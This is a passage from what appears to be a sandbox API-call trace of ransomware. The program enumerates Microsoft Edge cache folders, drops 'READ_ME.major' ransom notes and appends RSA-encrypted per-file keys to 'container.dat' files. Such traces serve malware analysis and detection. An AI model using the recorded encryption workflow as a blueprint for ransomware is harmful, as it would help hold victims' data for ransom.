cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.399] FindNextFileW (in: hFindFile=0x2f31460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cba4bae, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cba4bae, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.399] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\History\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf352567, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31760 [0244.399] FindNextFileW (in: hFindFile=0x2f31760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf352567, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.399] FindNextFileW (in: hFindFile=0x2f31760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12e45fcd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e45fcd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e45fcd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0244.399] FindNextFileW (in: hFindFile=0x2f31760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cba4bae, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cba4bae, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.400] FindNextFileW (in: hFindFile=0x2f31760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cba4bae, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cba4bae, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.400] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0244.400] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\History\\container.dat", dwFileAttributes=0x80) returned 1 [0244.400] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\history\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ad0 [0244.400] GetFileSizeEx (in: hFile=0x1ad0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0244.401] ReadFile (in: hFile=0x1ad0, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.401] SetFilePointer (in: hFile=0x1ad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0244.401] WriteFile (in: hFile=0x1ad0, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.401] SetFilePointer (in: hFile=0x1ad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0244.401] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.401] WriteFile (in: hFile=0x1ad0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.402] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0244.402] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0244.402] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0244.402] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ytGke63I8zd9rrC0fDLkLnJQqP4mkyyykL7VNtyfSTbx4GO7YmwwLmo0Jj/VYXqS\nfwRquF2HX9TqKhkh466+48v0A3IPCIl8gj5geSQyv4JCItZ6nUXsj/q6bPKFRp89\nThVeYP8A+4iwDBFLTyj4GlLWcFB8ppOnxPqtSvzNe1OwF+ah1+JYn3FBcP40k/FH\nfu9FKoJePjzHAcnysXyi7jyNtxWZDP46nxkhoBAomWSmJbhhLg8Dg8OAPVRfoktz\nn0ow/8erHRO+4lsEoXd2y/1Zu75vJbvxTWSPBONSKl/FNgHpNmd8sUsKuAS0+IfA\nB4JWyg77NWjS9XWdcnkQBA==\n", pcchString=0x2e3f9a8) returned 1 [0244.402] WriteFile (in: hFile=0x1ad0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0244.402] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.402] WriteFile (in: hFile=0x1ad0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.402] CloseHandle (hObject=0x1ad0) returned 1 [0244.404] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf3787bc, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f312e0 [0244.404] FindNextFileW (in: hFindFile=0x2f312e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf3787bc, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.404] FindNextFileW (in: hFindFile=0x2f312e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf48383b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf542405, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0244.404] FindNextFileW (in: hFindFile=0x2f312e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cbcae54, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cbcae54, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.404] FindNextFileW (in: hFindFile=0x2f312e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cbcae54, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cbcae54, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.404] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0244.404] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatCache\\container.dat", dwFileAttributes=0x80) returned 1 [0244.404] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\iecompatcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ad4 [0244.405] GetFileSizeEx (in: hFile=0x1ad4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0244.405] ReadFile (in: hFile=0x1ad4, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.405] SetFilePointer (in: hFile=0x1ad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0244.405] WriteFile (in: hFile=0x1ad4, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.405] SetFilePointer (in: hFile=0x1ad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0244.405] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.405] WriteFile (in: hFile=0x1ad4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.406] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0244.406] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0244.406] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0244.406] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="QPq4GILvYuX1I4KO2vpdggy21l+srDfz+eB/zLJNt8C01X8a8niWPmCs4sRHs7HE\nQJE4q63O2ityNeUMgzSmovg6i5J/JwG9QZdBveeesJNsDMhKQTYJhdwm+pLugwcH\nasJ9bJ848B+6HnK/wQ53R347nj/BEXg0uOhyCD863x437ROxphAWkfcv/f8VpCAs\ns7kBThktjnxmKROGdTAFyt3MDQt7WlroriwYGHmVt3NXrAUWSg5HTBLhE4No+OLg\nzCuAxUEz37DN+D6vB7FhRf4RCO9F+ya9Ys6j6tqEAgVtCl9ZKow0JCtNyhez5zk6\nhnvTSfqzHSgA3FSsgsTobw==\n", pcchString=0x2e3f9a8) returned 1 [0244.406] WriteFile (in: hFile=0x1ad4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0244.407] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.407] WriteFile (in: hFile=0x1ad4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.407] CloseHandle (hObject=0x1ad4) returned 1 [0244.408] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatUaCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf542405, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5dad80, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f317a0 [0244.408] FindNextFileW (in: hFindFile=0x2f317a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf542405, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5dad80, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.408] FindNextFileW (in: hFindFile=0x2f317a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf56864e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5dad80, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5dad80, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0244.408] FindNextFileW (in: hFindFile=0x2f317a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cbcae54, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cbcae54, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.408] FindNextFileW (in: hFindFile=0x2f317a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cbcae54, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cbcae54, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.408] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0244.408] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatUaCache\\container.dat", dwFileAttributes=0x80) returned 1 [0244.409] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatUaCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\iecompatuacache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ad8 [0244.409] GetFileSizeEx (in: hFile=0x1ad8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0244.409] ReadFile (in: hFile=0x1ad8, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.409] SetFilePointer (in: hFile=0x1ad8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0244.409] WriteFile (in: hFile=0x1ad8, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.409] SetFilePointer (in: hFile=0x1ad8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0244.409] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.410] WriteFile (in: hFile=0x1ad8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.410] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0244.410] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0244.411] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0244.411] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YHmqL668wObVyNylfyP9dxZBJ7h6ik2Za5a/MrAh20dmukPnUyoETGJ4D06C80o8\nNwvsiScIZVOEA5kh62eMqhkyiAee8f8KTTUH4BMxooQOGu62Q3e9vHu58+Rr86t0\n37lsfgJLTEsv8S91HJm0HneFqm2+Z/19UW1q8nqaTixaXr18hYqFPIPYSPn4l/FP\nArvauyf7OQUL0BIRMI61c1JTHJgs17EhMhh3W7DTclZwItCvuJqXC+UHYgFIvR60\nxtJC/Mg+t2wmPqQETl4UeBS/2qw9S279ALpC21ECa2ZOWaSr1w7zb1TZqNUrsE/2\nK+SzZxo38EEmanPwAo5SYA==\n", pcchString=0x2e3f9a8) returned 1 [0244.411] WriteFile (in: hFile=0x1ad8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0244.411] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.411] WriteFile (in: hFile=0x1ad8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.411] CloseHandle (hObject=0x1ad8) returned 1 [0244.470] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IEFlipAheadCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58c5451, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf5941dd0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31120 [0244.470] FindNextFileW (in: hFindFile=0x2f31120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58c5451, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf5941dd0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.471] FindNextFileW (in: hFindFile=0x2f31120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf58d8cc7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf5941dd0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf5941dd0, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0244.471] FindNextFileW (in: hFindFile=0x2f31120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cbcae54, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cbcae54, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.471] FindNextFileW (in: hFindFile=0x2f31120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cbcae54, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cbcae54, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cbcae54, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.471] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0244.471] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IEFlipAheadCache\\container.dat", dwFileAttributes=0x80) returned 1 [0244.472] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IEFlipAheadCache\\container.dat" (normalized: 